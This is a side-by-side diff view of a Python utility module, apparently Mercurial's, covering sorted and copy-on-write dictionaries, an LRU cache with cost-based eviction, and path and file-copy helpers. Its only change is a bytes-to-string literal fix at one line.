1245 '''a simple sorted dictionary
1246
1246
1247 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1247 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1248 >>> d2 = d1.copy()
1248 >>> d2 = d1.copy()
1249 >>> d2
1249 >>> d2
1250 sortdict([('a', 0), ('b', 1)])
1250 sortdict([('a', 0), ('b', 1)])
1251 >>> d2.update([(b'a', 2)])
1251 >>> d2.update([(b'a', 2)])
1252 >>> list(d2.keys()) # should still be in last-set order
1252 >>> list(d2.keys()) # should still be in last-set order
1253 ['b', 'a']
1253 ['b', 'a']
1254 '''
1254 '''
1255
1255
1256 def __setitem__(self, key, value):
1256 def __setitem__(self, key, value):
1257 if key in self:
1257 if key in self:
1258 del self[key]
1258 del self[key]
1259 super(sortdict, self).__setitem__(key, value)
1259 super(sortdict, self).__setitem__(key, value)
1260
1260
1261 if pycompat.ispypy:
1261 if pycompat.ispypy:
1262 # __setitem__() isn't called as of PyPy 5.8.0
1262 # __setitem__() isn't called as of PyPy 5.8.0
1263 def update(self, src):
1263 def update(self, src):
1264 if isinstance(src, dict):
1264 if isinstance(src, dict):
1265 src = pycompat.iteritems(src)
1265 src = pycompat.iteritems(src)
1266 for k, v in src:
1266 for k, v in src:
1267 self[k] = v
1267 self[k] = v
1268
1268
1269
1269
1270 class cowdict(cow, dict):
1270 class cowdict(cow, dict):
1271 """copy-on-write dict
1271 """copy-on-write dict
1272
1272
1273 Be sure to call d = d.preparewrite() before writing to d.
1273 Be sure to call d = d.preparewrite() before writing to d.
1274
1274
1275 >>> a = cowdict()
1275 >>> a = cowdict()
1276 >>> a is a.preparewrite()
1276 >>> a is a.preparewrite()
1277 True
1277 True
1278 >>> b = a.copy()
1278 >>> b = a.copy()
1279 >>> b is a
1279 >>> b is a
1280 True
1280 True
1281 >>> c = b.copy()
1281 >>> c = b.copy()
1282 >>> c is a
1282 >>> c is a
1283 True
1283 True
1284 >>> a = a.preparewrite()
1284 >>> a = a.preparewrite()
1285 >>> b is a
1285 >>> b is a
1286 False
1286 False
1287 >>> a is a.preparewrite()
1287 >>> a is a.preparewrite()
1288 True
1288 True
1289 >>> c = c.preparewrite()
1289 >>> c = c.preparewrite()
1290 >>> b is c
1290 >>> b is c
1291 False
1291 False
1292 >>> b is b.preparewrite()
1292 >>> b is b.preparewrite()
1293 True
1293 True
1294 """
1294 """
1295
1295
1296
1296
1297 class cowsortdict(cow, sortdict):
1297 class cowsortdict(cow, sortdict):
1298 """copy-on-write sortdict
1298 """copy-on-write sortdict
1299
1299
1300 Be sure to call d = d.preparewrite() before writing to d.
1300 Be sure to call d = d.preparewrite() before writing to d.
1301 """
1301 """
1302
1302
1303
1303
1304 class transactional(object): # pytype: disable=ignored-metaclass
1304 class transactional(object): # pytype: disable=ignored-metaclass
1305 """Base class for making a transactional type into a context manager."""
1305 """Base class for making a transactional type into a context manager."""
1306
1306
1307 __metaclass__ = abc.ABCMeta
1307 __metaclass__ = abc.ABCMeta
1308
1308
1309 @abc.abstractmethod
1309 @abc.abstractmethod
1310 def close(self):
1310 def close(self):
1311 """Successfully closes the transaction."""
1311 """Successfully closes the transaction."""
1312
1312
1313 @abc.abstractmethod
1313 @abc.abstractmethod
1314 def release(self):
1314 def release(self):
1315 """Marks the end of the transaction.
1315 """Marks the end of the transaction.
1316
1316
1317 If the transaction has not been closed, it will be aborted.
1317 If the transaction has not been closed, it will be aborted.
1318 """
1318 """
1319
1319
1320 def __enter__(self):
1320 def __enter__(self):
1321 return self
1321 return self
1322
1322
1323 def __exit__(self, exc_type, exc_val, exc_tb):
1323 def __exit__(self, exc_type, exc_val, exc_tb):
1324 try:
1324 try:
1325 if exc_type is None:
1325 if exc_type is None:
1326 self.close()
1326 self.close()
1327 finally:
1327 finally:
1328 self.release()
1328 self.release()
1329
1329
1330
1330
1331 @contextlib.contextmanager
1331 @contextlib.contextmanager
1332 def acceptintervention(tr=None):
1332 def acceptintervention(tr=None):
1333 """A context manager that closes the transaction on InterventionRequired
1333 """A context manager that closes the transaction on InterventionRequired
1334
1334
1335 If no transaction was provided, this simply runs the body and returns
1335 If no transaction was provided, this simply runs the body and returns
1336 """
1336 """
1337 if not tr:
1337 if not tr:
1338 yield
1338 yield
1339 return
1339 return
1340 try:
1340 try:
1341 yield
1341 yield
1342 tr.close()
1342 tr.close()
1343 except error.InterventionRequired:
1343 except error.InterventionRequired:
1344 tr.close()
1344 tr.close()
1345 raise
1345 raise
1346 finally:
1346 finally:
1347 tr.release()
1347 tr.release()
1348
1348
1349
1349
1350 @contextlib.contextmanager
1350 @contextlib.contextmanager
1351 def nullcontextmanager():
1351 def nullcontextmanager():
1352 yield
1352 yield
1353
1353
1354
1354
1355 class _lrucachenode(object):
1355 class _lrucachenode(object):
1356 """A node in a doubly linked list.
1356 """A node in a doubly linked list.
1357
1357
1358 Holds a reference to nodes on either side as well as a key-value
1358 Holds a reference to nodes on either side as well as a key-value
1359 pair for the dictionary entry.
1359 pair for the dictionary entry.
1360 """
1360 """
1361
1361
1362 __slots__ = ('next', 'prev', 'key', 'value', 'cost')
1362 __slots__ = ('next', 'prev', 'key', 'value', 'cost')
1363
1363
1364 def __init__(self):
1364 def __init__(self):
1365 self.next = None
1365 self.next = None
1366 self.prev = None
1366 self.prev = None
1367
1367
1368 self.key = _notset
1368 self.key = _notset
1369 self.value = None
1369 self.value = None
1370 self.cost = 0
1370 self.cost = 0
1371
1371
1372 def markempty(self):
1372 def markempty(self):
1373 """Mark the node as emptied."""
1373 """Mark the node as emptied."""
1374 self.key = _notset
1374 self.key = _notset
1375 self.value = None
1375 self.value = None
1376 self.cost = 0
1376 self.cost = 0
1377
1377
1378
1378
1379 class lrucachedict(object):
1379 class lrucachedict(object):
1380 """Dict that caches most recent accesses and sets.
1380 """Dict that caches most recent accesses and sets.
1381
1381
1382 The dict consists of an actual backing dict - indexed by original
1382 The dict consists of an actual backing dict - indexed by original
1383 key - and a doubly linked circular list defining the order of entries in
1383 key - and a doubly linked circular list defining the order of entries in
1384 the cache.
1384 the cache.
1385
1385
1386 The head node is the newest entry in the cache. If the cache is full,
1386 The head node is the newest entry in the cache. If the cache is full,
1387 we recycle head.prev and make it the new head. Cache accesses result in
1387 we recycle head.prev and make it the new head. Cache accesses result in
1388 the node being moved to before the existing head and being marked as the
1388 the node being moved to before the existing head and being marked as the
1389 new head node.
1389 new head node.
1390
1390
1391 Items in the cache can be inserted with an optional "cost" value. This is
1391 Items in the cache can be inserted with an optional "cost" value. This is
1392 simply an integer that is specified by the caller. The cache can be queried
1392 simply an integer that is specified by the caller. The cache can be queried
1393 for the total cost of all items presently in the cache.
1393 for the total cost of all items presently in the cache.
1394
1394
1395 The cache can also define a maximum cost. If a cache insertion would
1395 The cache can also define a maximum cost. If a cache insertion would
1396 cause the total cost of the cache to go beyond the maximum cost limit,
1396 cause the total cost of the cache to go beyond the maximum cost limit,
1397 nodes will be evicted to make room for the new code. This can be used
1397 nodes will be evicted to make room for the new code. This can be used
1398 to e.g. set a max memory limit and associate an estimated bytes size
1398 to e.g. set a max memory limit and associate an estimated bytes size
1399 cost to each item in the cache. By default, no maximum cost is enforced.
1399 cost to each item in the cache. By default, no maximum cost is enforced.
1400 """
1400 """
1401
1401
1402 def __init__(self, max, maxcost=0):
1402 def __init__(self, max, maxcost=0):
1403 self._cache = {}
1403 self._cache = {}
1404
1404
1405 self._head = head = _lrucachenode()
1405 self._head = head = _lrucachenode()
1406 head.prev = head
1406 head.prev = head
1407 head.next = head
1407 head.next = head
1408 self._size = 1
1408 self._size = 1
1409 self.capacity = max
1409 self.capacity = max
1410 self.totalcost = 0
1410 self.totalcost = 0
1411 self.maxcost = maxcost
1411 self.maxcost = maxcost
1412
1412
1413 def __len__(self):
1413 def __len__(self):
1414 return len(self._cache)
1414 return len(self._cache)
1415
1415
1416 def __contains__(self, k):
1416 def __contains__(self, k):
1417 return k in self._cache
1417 return k in self._cache
1418
1418
1419 def __iter__(self):
1419 def __iter__(self):
1420 # We don't have to iterate in cache order, but why not.
1420 # We don't have to iterate in cache order, but why not.
1421 n = self._head
1421 n = self._head
1422 for i in range(len(self._cache)):
1422 for i in range(len(self._cache)):
1423 yield n.key
1423 yield n.key
1424 n = n.next
1424 n = n.next
1425
1425
1426 def __getitem__(self, k):
1426 def __getitem__(self, k):
1427 node = self._cache[k]
1427 node = self._cache[k]
1428 self._movetohead(node)
1428 self._movetohead(node)
1429 return node.value
1429 return node.value
1430
1430
1431 def insert(self, k, v, cost=0):
1431 def insert(self, k, v, cost=0):
1432 """Insert a new item in the cache with optional cost value."""
1432 """Insert a new item in the cache with optional cost value."""
1433 node = self._cache.get(k)
1433 node = self._cache.get(k)
1434 # Replace existing value and mark as newest.
1434 # Replace existing value and mark as newest.
1435 if node is not None:
1435 if node is not None:
1436 self.totalcost -= node.cost
1436 self.totalcost -= node.cost
1437 node.value = v
1437 node.value = v
1438 node.cost = cost
1438 node.cost = cost
1439 self.totalcost += cost
1439 self.totalcost += cost
1440 self._movetohead(node)
1440 self._movetohead(node)
1441
1441
1442 if self.maxcost:
1442 if self.maxcost:
1443 self._enforcecostlimit()
1443 self._enforcecostlimit()
1444
1444
1445 return
1445 return
1446
1446
1447 if self._size < self.capacity:
1447 if self._size < self.capacity:
1448 node = self._addcapacity()
1448 node = self._addcapacity()
1449 else:
1449 else:
1450 # Grab the last/oldest item.
1450 # Grab the last/oldest item.
1451 node = self._head.prev
1451 node = self._head.prev
1452
1452
1453 # At capacity. Kill the old entry.
1453 # At capacity. Kill the old entry.
1454 if node.key is not _notset:
1454 if node.key is not _notset:
1455 self.totalcost -= node.cost
1455 self.totalcost -= node.cost
1456 del self._cache[node.key]
1456 del self._cache[node.key]
1457
1457
1458 node.key = k
1458 node.key = k
1459 node.value = v
1459 node.value = v
1460 node.cost = cost
1460 node.cost = cost
1461 self.totalcost += cost
1461 self.totalcost += cost
1462 self._cache[k] = node
1462 self._cache[k] = node
1463 # And mark it as newest entry. No need to adjust order since it
1463 # And mark it as newest entry. No need to adjust order since it
1464 # is already self._head.prev.
1464 # is already self._head.prev.
1465 self._head = node
1465 self._head = node
1466
1466
1467 if self.maxcost:
1467 if self.maxcost:
1468 self._enforcecostlimit()
1468 self._enforcecostlimit()
1469
1469
1470 def __setitem__(self, k, v):
1470 def __setitem__(self, k, v):
1471 self.insert(k, v)
1471 self.insert(k, v)
1472
1472
1473 def __delitem__(self, k):
1473 def __delitem__(self, k):
1474 self.pop(k)
1474 self.pop(k)
1475
1475
1476 def pop(self, k, default=_notset):
1476 def pop(self, k, default=_notset):
1477 try:
1477 try:
1478 node = self._cache.pop(k)
1478 node = self._cache.pop(k)
1479 except KeyError:
1479 except KeyError:
1480 if default is _notset:
1480 if default is _notset:
1481 raise
1481 raise
1482 return default
1482 return default
1483 value = node.value
1483 value = node.value
1484 self.totalcost -= node.cost
1484 self.totalcost -= node.cost
1485 node.markempty()
1485 node.markempty()
1486
1486
1487 # Temporarily mark as newest item before re-adjusting head to make
1487 # Temporarily mark as newest item before re-adjusting head to make
1488 # this node the oldest item.
1488 # this node the oldest item.
1489 self._movetohead(node)
1489 self._movetohead(node)
1490 self._head = node.next
1490 self._head = node.next
1491
1491
1492 return value
1492 return value
1493
1493
1494 # Additional dict methods.
1494 # Additional dict methods.
1495
1495
1496 def get(self, k, default=None):
1496 def get(self, k, default=None):
1497 try:
1497 try:
1498 return self.__getitem__(k)
1498 return self.__getitem__(k)
1499 except KeyError:
1499 except KeyError:
1500 return default
1500 return default
1501
1501
1502 def peek(self, k, default=_notset):
1502 def peek(self, k, default=_notset):
1503 """Get the specified item without moving it to the head
1503 """Get the specified item without moving it to the head
1504
1504
1505 Unlike get(), this doesn't mutate the internal state. But be aware
1505 Unlike get(), this doesn't mutate the internal state. But be aware
1506 that it doesn't mean peek() is thread safe.
1506 that it doesn't mean peek() is thread safe.
1507 """
1507 """
1508 try:
1508 try:
1509 node = self._cache[k]
1509 node = self._cache[k]
1510 return node.value
1510 return node.value
1511 except KeyError:
1511 except KeyError:
1512 if default is _notset:
1512 if default is _notset:
1513 raise
1513 raise
1514 return default
1514 return default
1515
1515
1516 def clear(self):
1516 def clear(self):
1517 n = self._head
1517 n = self._head
1518 while n.key is not _notset:
1518 while n.key is not _notset:
1519 self.totalcost -= n.cost
1519 self.totalcost -= n.cost
1520 n.markempty()
1520 n.markempty()
1521 n = n.next
1521 n = n.next
1522
1522
1523 self._cache.clear()
1523 self._cache.clear()
1524
1524
1525 def copy(self, capacity=None, maxcost=0):
1525 def copy(self, capacity=None, maxcost=0):
1526 """Create a new cache as a copy of the current one.
1526 """Create a new cache as a copy of the current one.
1527
1527
1528 By default, the new cache has the same capacity as the existing one.
1528 By default, the new cache has the same capacity as the existing one.
1529 But, the cache capacity can be changed as part of performing the
1529 But, the cache capacity can be changed as part of performing the
1530 copy.
1530 copy.
1531
1531
1532 Items in the copy have an insertion/access order matching this
1532 Items in the copy have an insertion/access order matching this
1533 instance.
1533 instance.
1534 """
1534 """
1535
1535
1536 capacity = capacity or self.capacity
1536 capacity = capacity or self.capacity
1537 maxcost = maxcost or self.maxcost
1537 maxcost = maxcost or self.maxcost
1538 result = lrucachedict(capacity, maxcost=maxcost)
1538 result = lrucachedict(capacity, maxcost=maxcost)
1539
1539
1540 # We copy entries by iterating in oldest-to-newest order so the copy
1540 # We copy entries by iterating in oldest-to-newest order so the copy
1541 # has the correct ordering.
1541 # has the correct ordering.
1542
1542
1543 # Find the first non-empty entry.
1543 # Find the first non-empty entry.
1544 n = self._head.prev
1544 n = self._head.prev
1545 while n.key is _notset and n is not self._head:
1545 while n.key is _notset and n is not self._head:
1546 n = n.prev
1546 n = n.prev
1547
1547
1548 # We could potentially skip the first N items when decreasing capacity.
1548 # We could potentially skip the first N items when decreasing capacity.
1549 # But let's keep it simple unless it is a performance problem.
1549 # But let's keep it simple unless it is a performance problem.
1550 for i in range(len(self._cache)):
1550 for i in range(len(self._cache)):
1551 result.insert(n.key, n.value, cost=n.cost)
1551 result.insert(n.key, n.value, cost=n.cost)
1552 n = n.prev
1552 n = n.prev
1553
1553
1554 return result
1554 return result
1555
1555
1556 def popoldest(self):
1556 def popoldest(self):
1557 """Remove the oldest item from the cache.
1557 """Remove the oldest item from the cache.
1558
1558
1559 Returns the (key, value) describing the removed cache entry.
1559 Returns the (key, value) describing the removed cache entry.
1560 """
1560 """
1561 if not self._cache:
1561 if not self._cache:
1562 return
1562 return
1563
1563
1564 # Walk the linked list backwards starting at tail node until we hit
1564 # Walk the linked list backwards starting at tail node until we hit
1565 # a non-empty node.
1565 # a non-empty node.
1566 n = self._head.prev
1566 n = self._head.prev
1567 while n.key is _notset:
1567 while n.key is _notset:
1568 n = n.prev
1568 n = n.prev
1569
1569
1570 key, value = n.key, n.value
1570 key, value = n.key, n.value
1571
1571
1572 # And remove it from the cache and mark it as empty.
1572 # And remove it from the cache and mark it as empty.
1573 del self._cache[n.key]
1573 del self._cache[n.key]
1574 self.totalcost -= n.cost
1574 self.totalcost -= n.cost
1575 n.markempty()
1575 n.markempty()
1576
1576
1577 return key, value
1577 return key, value
1578
1578
1579 def _movetohead(self, node):
1579 def _movetohead(self, node):
1580 """Mark a node as the newest, making it the new head.
1580 """Mark a node as the newest, making it the new head.
1581
1581
1582 When a node is accessed, it becomes the freshest entry in the LRU
1582 When a node is accessed, it becomes the freshest entry in the LRU
1583 list, which is denoted by self._head.
1583 list, which is denoted by self._head.
1584
1584
1585 Visually, let's make ``N`` the new head node (* denotes head):
1585 Visually, let's make ``N`` the new head node (* denotes head):
1586
1586
1587 previous/oldest <-> head <-> next/next newest
1587 previous/oldest <-> head <-> next/next newest
1588
1588
1589 ----<->--- A* ---<->-----
1589 ----<->--- A* ---<->-----
1590 | |
1590 | |
1591 E <-> D <-> N <-> C <-> B
1591 E <-> D <-> N <-> C <-> B
1592
1592
1593 To:
1593 To:
1594
1594
1595 ----<->--- N* ---<->-----
1595 ----<->--- N* ---<->-----
1596 | |
1596 | |
1597 E <-> D <-> C <-> B <-> A
1597 E <-> D <-> C <-> B <-> A
1598
1598
1599 This requires the following moves:
1599 This requires the following moves:
1600
1600
1601 C.next = D (node.prev.next = node.next)
1601 C.next = D (node.prev.next = node.next)
1602 D.prev = C (node.next.prev = node.prev)
1602 D.prev = C (node.next.prev = node.prev)
1603 E.next = N (head.prev.next = node)
1603 E.next = N (head.prev.next = node)
1604 N.prev = E (node.prev = head.prev)
1604 N.prev = E (node.prev = head.prev)
1605 N.next = A (node.next = head)
1605 N.next = A (node.next = head)
1606 A.prev = N (head.prev = node)
1606 A.prev = N (head.prev = node)
1607 """
1607 """
1608 head = self._head
1608 head = self._head
1609 # C.next = D
1609 # C.next = D
1610 node.prev.next = node.next
1610 node.prev.next = node.next
1611 # D.prev = C
1611 # D.prev = C
1612 node.next.prev = node.prev
1612 node.next.prev = node.prev
1613 # N.prev = E
1613 # N.prev = E
1614 node.prev = head.prev
1614 node.prev = head.prev
1615 # N.next = A
1615 # N.next = A
1616 # It is tempting to do just "head" here, however if node is
1616 # It is tempting to do just "head" here, however if node is
1617 # adjacent to head, this will do bad things.
1617 # adjacent to head, this will do bad things.
1618 node.next = head.prev.next
1618 node.next = head.prev.next
1619 # E.next = N
1619 # E.next = N
1620 node.next.prev = node
1620 node.next.prev = node
1621 # A.prev = N
1621 # A.prev = N
1622 node.prev.next = node
1622 node.prev.next = node
1623
1623
1624 self._head = node
1624 self._head = node
1625
1625
1626 def _addcapacity(self):
1626 def _addcapacity(self):
1627 """Add a node to the circular linked list.
1627 """Add a node to the circular linked list.
1628
1628
1629 The new node is inserted before the head node.
1629 The new node is inserted before the head node.
1630 """
1630 """
1631 head = self._head
1631 head = self._head
1632 node = _lrucachenode()
1632 node = _lrucachenode()
1633 head.prev.next = node
1633 head.prev.next = node
1634 node.prev = head.prev
1634 node.prev = head.prev
1635 node.next = head
1635 node.next = head
1636 head.prev = node
1636 head.prev = node
1637 self._size += 1
1637 self._size += 1
1638 return node
1638 return node
1639
1639
1640 def _enforcecostlimit(self):
1640 def _enforcecostlimit(self):
1641 # This should run after an insertion. It should only be called if total
1641 # This should run after an insertion. It should only be called if total
1642 # cost limits are being enforced.
1642 # cost limits are being enforced.
1643 # The most recently inserted node is never evicted.
1643 # The most recently inserted node is never evicted.
1644 if len(self) <= 1 or self.totalcost <= self.maxcost:
1644 if len(self) <= 1 or self.totalcost <= self.maxcost:
1645 return
1645 return
1646
1646
1647 # This is logically equivalent to calling popoldest() until we
1647 # This is logically equivalent to calling popoldest() until we
1648 # free up enough cost. We don't do that since popoldest() needs
1648 # free up enough cost. We don't do that since popoldest() needs
1649 # to walk the linked list and doing this in a loop would be
1649 # to walk the linked list and doing this in a loop would be
1650 # quadratic. So we find the first non-empty node and then
1650 # quadratic. So we find the first non-empty node and then
1651 # walk nodes until we free up enough capacity.
1651 # walk nodes until we free up enough capacity.
1652 #
1652 #
1653 # If we only removed the minimum number of nodes to free enough
1653 # If we only removed the minimum number of nodes to free enough
1654 # cost at insert time, chances are high that the next insert would
1654 # cost at insert time, chances are high that the next insert would
1655 # also require pruning. This would effectively constitute quadratic
1655 # also require pruning. This would effectively constitute quadratic
1656 # behavior for insert-heavy workloads. To mitigate this, we set a
1656 # behavior for insert-heavy workloads. To mitigate this, we set a
1657 # target cost that is a percentage of the max cost. This will tend
1657 # target cost that is a percentage of the max cost. This will tend
1658 # to free more nodes when the high water mark is reached, which
1658 # to free more nodes when the high water mark is reached, which
1659 # lowers the chances of needing to prune on the subsequent insert.
1659 # lowers the chances of needing to prune on the subsequent insert.
1660 targetcost = int(self.maxcost * 0.75)
1660 targetcost = int(self.maxcost * 0.75)
1661
1661
1662 n = self._head.prev
1662 n = self._head.prev
1663 while n.key is _notset:
1663 while n.key is _notset:
1664 n = n.prev
1664 n = n.prev
1665
1665
1666 while len(self) > 1 and self.totalcost > targetcost:
1666 while len(self) > 1 and self.totalcost > targetcost:
1667 del self._cache[n.key]
1667 del self._cache[n.key]
1668 self.totalcost -= n.cost
1668 self.totalcost -= n.cost
1669 n.markempty()
1669 n.markempty()
1670 n = n.prev
1670 n = n.prev
1671
1671
1672
1672
1673 def lrucachefunc(func):
1673 def lrucachefunc(func):
1674 '''cache most recent results of function calls'''
1674 '''cache most recent results of function calls'''
1675 cache = {}
1675 cache = {}
1676 order = collections.deque()
1676 order = collections.deque()
1677 if func.__code__.co_argcount == 1:
1677 if func.__code__.co_argcount == 1:
1678
1678
1679 def f(arg):
1679 def f(arg):
1680 if arg not in cache:
1680 if arg not in cache:
1681 if len(cache) > 20:
1681 if len(cache) > 20:
1682 del cache[order.popleft()]
1682 del cache[order.popleft()]
1683 cache[arg] = func(arg)
1683 cache[arg] = func(arg)
1684 else:
1684 else:
1685 order.remove(arg)
1685 order.remove(arg)
1686 order.append(arg)
1686 order.append(arg)
1687 return cache[arg]
1687 return cache[arg]
1688
1688
1689 else:
1689 else:
1690
1690
1691 def f(*args):
1691 def f(*args):
1692 if args not in cache:
1692 if args not in cache:
1693 if len(cache) > 20:
1693 if len(cache) > 20:
1694 del cache[order.popleft()]
1694 del cache[order.popleft()]
1695 cache[args] = func(*args)
1695 cache[args] = func(*args)
1696 else:
1696 else:
1697 order.remove(args)
1697 order.remove(args)
1698 order.append(args)
1698 order.append(args)
1699 return cache[args]
1699 return cache[args]
1700
1700
1701 return f
1701 return f
1702
1702
1703
1703
1704 class propertycache(object):
1704 class propertycache(object):
1705 def __init__(self, func):
1705 def __init__(self, func):
1706 self.func = func
1706 self.func = func
1707 self.name = func.__name__
1707 self.name = func.__name__
1708
1708
1709 def __get__(self, obj, type=None):
1709 def __get__(self, obj, type=None):
1710 result = self.func(obj)
1710 result = self.func(obj)
1711 self.cachevalue(obj, result)
1711 self.cachevalue(obj, result)
1712 return result
1712 return result
1713
1713
1714 def cachevalue(self, obj, value):
1714 def cachevalue(self, obj, value):
1715 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1715 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1716 obj.__dict__[self.name] = value
1716 obj.__dict__[self.name] = value
1717
1717
1718
1718
1719 def clearcachedproperty(obj, prop):
1719 def clearcachedproperty(obj, prop):
1720 '''clear a cached property value, if one has been set'''
1720 '''clear a cached property value, if one has been set'''
1721 prop = pycompat.sysstr(prop)
1721 prop = pycompat.sysstr(prop)
1722 if prop in obj.__dict__:
1722 if prop in obj.__dict__:
1723 del obj.__dict__[prop]
1723 del obj.__dict__[prop]
1724
1724
1725
1725
1726 def increasingchunks(source, min=1024, max=65536):
1726 def increasingchunks(source, min=1024, max=65536):
1727 '''return no less than min bytes per chunk while data remains,
1727 '''return no less than min bytes per chunk while data remains,
1728 doubling min after each chunk until it reaches max'''
1728 doubling min after each chunk until it reaches max'''
1729
1729
1730 def log2(x):
1730 def log2(x):
1731 if not x:
1731 if not x:
1732 return 0
1732 return 0
1733 i = 0
1733 i = 0
1734 while x:
1734 while x:
1735 x >>= 1
1735 x >>= 1
1736 i += 1
1736 i += 1
1737 return i - 1
1737 return i - 1
1738
1738
1739 buf = []
1739 buf = []
1740 blen = 0
1740 blen = 0
1741 for chunk in source:
1741 for chunk in source:
1742 buf.append(chunk)
1742 buf.append(chunk)
1743 blen += len(chunk)
1743 blen += len(chunk)
1744 if blen >= min:
1744 if blen >= min:
1745 if min < max:
1745 if min < max:
1746 min = min << 1
1746 min = min << 1
1747 nmin = 1 << log2(blen)
1747 nmin = 1 << log2(blen)
1748 if nmin > min:
1748 if nmin > min:
1749 min = nmin
1749 min = nmin
1750 if min > max:
1750 if min > max:
1751 min = max
1751 min = max
1752 yield b''.join(buf)
1752 yield b''.join(buf)
1753 blen = 0
1753 blen = 0
1754 buf = []
1754 buf = []
1755 if buf:
1755 if buf:
1756 yield b''.join(buf)
1756 yield b''.join(buf)
1757
1757
1758
1758
1759 def always(fn):
1759 def always(fn):
1760 return True
1760 return True
1761
1761
1762
1762
1763 def never(fn):
1763 def never(fn):
1764 return False
1764 return False
1765
1765
1766
1766
1767 def nogc(func):
1767 def nogc(func):
1768 """disable garbage collector
1768 """disable garbage collector
1769
1769
1770 Python's garbage collector triggers a GC each time a certain number of
1770 Python's garbage collector triggers a GC each time a certain number of
1771 container objects (the number being defined by gc.get_threshold()) are
1771 container objects (the number being defined by gc.get_threshold()) are
1772 allocated even when marked not to be tracked by the collector. Tracking has
1772 allocated even when marked not to be tracked by the collector. Tracking has
1773 no effect on when GCs are triggered, only on what objects the GC looks
1773 no effect on when GCs are triggered, only on what objects the GC looks
1774 into. As a workaround, disable GC while building complex (huge)
1774 into. As a workaround, disable GC while building complex (huge)
1775 containers.
1775 containers.
1776
1776
1777 This garbage collector issue have been fixed in 2.7. But it still affect
1777 This garbage collector issue have been fixed in 2.7. But it still affect
1778 CPython's performance.
1778 CPython's performance.
1779 """
1779 """
1780
1780
1781 def wrapper(*args, **kwargs):
1781 def wrapper(*args, **kwargs):
1782 gcenabled = gc.isenabled()
1782 gcenabled = gc.isenabled()
1783 gc.disable()
1783 gc.disable()
1784 try:
1784 try:
1785 return func(*args, **kwargs)
1785 return func(*args, **kwargs)
1786 finally:
1786 finally:
1787 if gcenabled:
1787 if gcenabled:
1788 gc.enable()
1788 gc.enable()
1789
1789
1790 return wrapper
1790 return wrapper
1791
1791
1792
1792
1793 if pycompat.ispypy:
1793 if pycompat.ispypy:
1794 # PyPy runs slower with gc disabled
1794 # PyPy runs slower with gc disabled
1795 nogc = lambda x: x
1795 nogc = lambda x: x
1796
1796
1797
1797
1798 def pathto(root, n1, n2):
1798 def pathto(root, n1, n2):
1799 '''return the relative path from one place to another.
1799 '''return the relative path from one place to another.
1800 root should use os.sep to separate directories
1800 root should use os.sep to separate directories
1801 n1 should use os.sep to separate directories
1801 n1 should use os.sep to separate directories
1802 n2 should use "/" to separate directories
1802 n2 should use "/" to separate directories
1803 returns an os.sep-separated path.
1803 returns an os.sep-separated path.
1804
1804
1805 If n1 is a relative path, it's assumed it's
1805 If n1 is a relative path, it's assumed it's
1806 relative to root.
1806 relative to root.
1807 n2 should always be relative to root.
1807 n2 should always be relative to root.
1808 '''
1808 '''
1809 if not n1:
1809 if not n1:
1810 return localpath(n2)
1810 return localpath(n2)
1811 if os.path.isabs(n1):
1811 if os.path.isabs(n1):
1812 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1812 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1813 return os.path.join(root, localpath(n2))
1813 return os.path.join(root, localpath(n2))
1814 n2 = b'/'.join((pconvert(root), n2))
1814 n2 = b'/'.join((pconvert(root), n2))
1815 a, b = splitpath(n1), n2.split(b'/')
1815 a, b = splitpath(n1), n2.split(b'/')
1816 a.reverse()
1816 a.reverse()
1817 b.reverse()
1817 b.reverse()
1818 while a and b and a[-1] == b[-1]:
1818 while a and b and a[-1] == b[-1]:
1819 a.pop()
1819 a.pop()
1820 b.pop()
1820 b.pop()
1821 b.reverse()
1821 b.reverse()
1822 return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.'
1822 return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.'
1823
1823
1824
1824
1825 # the location of data files matching the source code
1825 # the location of data files matching the source code
1826 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != b'macosx_app':
1826 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1827 # executable version (py2exe) doesn't support __file__
1827 # executable version (py2exe) doesn't support __file__
1828 datapath = os.path.dirname(pycompat.sysexecutable)
1828 datapath = os.path.dirname(pycompat.sysexecutable)
1829 else:
1829 else:
1830 datapath = os.path.dirname(pycompat.fsencode(__file__))
1830 datapath = os.path.dirname(pycompat.fsencode(__file__))
1831
1831
1832 i18n.setdatapath(datapath)
1832 i18n.setdatapath(datapath)
1833
1833
1834
1834
1835 def checksignature(func):
1835 def checksignature(func):
1836 '''wrap a function with code to check for calling errors'''
1836 '''wrap a function with code to check for calling errors'''
1837
1837
1838 def check(*args, **kwargs):
1838 def check(*args, **kwargs):
1839 try:
1839 try:
1840 return func(*args, **kwargs)
1840 return func(*args, **kwargs)
1841 except TypeError:
1841 except TypeError:
1842 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1842 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1843 raise error.SignatureError
1843 raise error.SignatureError
1844 raise
1844 raise
1845
1845
1846 return check
1846 return check
1847
1847
1848
1848
1849 # a whilelist of known filesystems where hardlink works reliably
1849 # a whilelist of known filesystems where hardlink works reliably
1850 _hardlinkfswhitelist = {
1850 _hardlinkfswhitelist = {
1851 b'apfs',
1851 b'apfs',
1852 b'btrfs',
1852 b'btrfs',
1853 b'ext2',
1853 b'ext2',
1854 b'ext3',
1854 b'ext3',
1855 b'ext4',
1855 b'ext4',
1856 b'hfs',
1856 b'hfs',
1857 b'jfs',
1857 b'jfs',
1858 b'NTFS',
1858 b'NTFS',
1859 b'reiserfs',
1859 b'reiserfs',
1860 b'tmpfs',
1860 b'tmpfs',
1861 b'ufs',
1861 b'ufs',
1862 b'xfs',
1862 b'xfs',
1863 b'zfs',
1863 b'zfs',
1864 }
1864 }
1865
1865
1866
1866
1867 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1867 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1868 '''copy a file, preserving mode and optionally other stat info like
1868 '''copy a file, preserving mode and optionally other stat info like
1869 atime/mtime
1869 atime/mtime
1870
1870
1871 checkambig argument is used with filestat, and is useful only if
1871 checkambig argument is used with filestat, and is useful only if
1872 destination file is guarded by any lock (e.g. repo.lock or
1872 destination file is guarded by any lock (e.g. repo.lock or
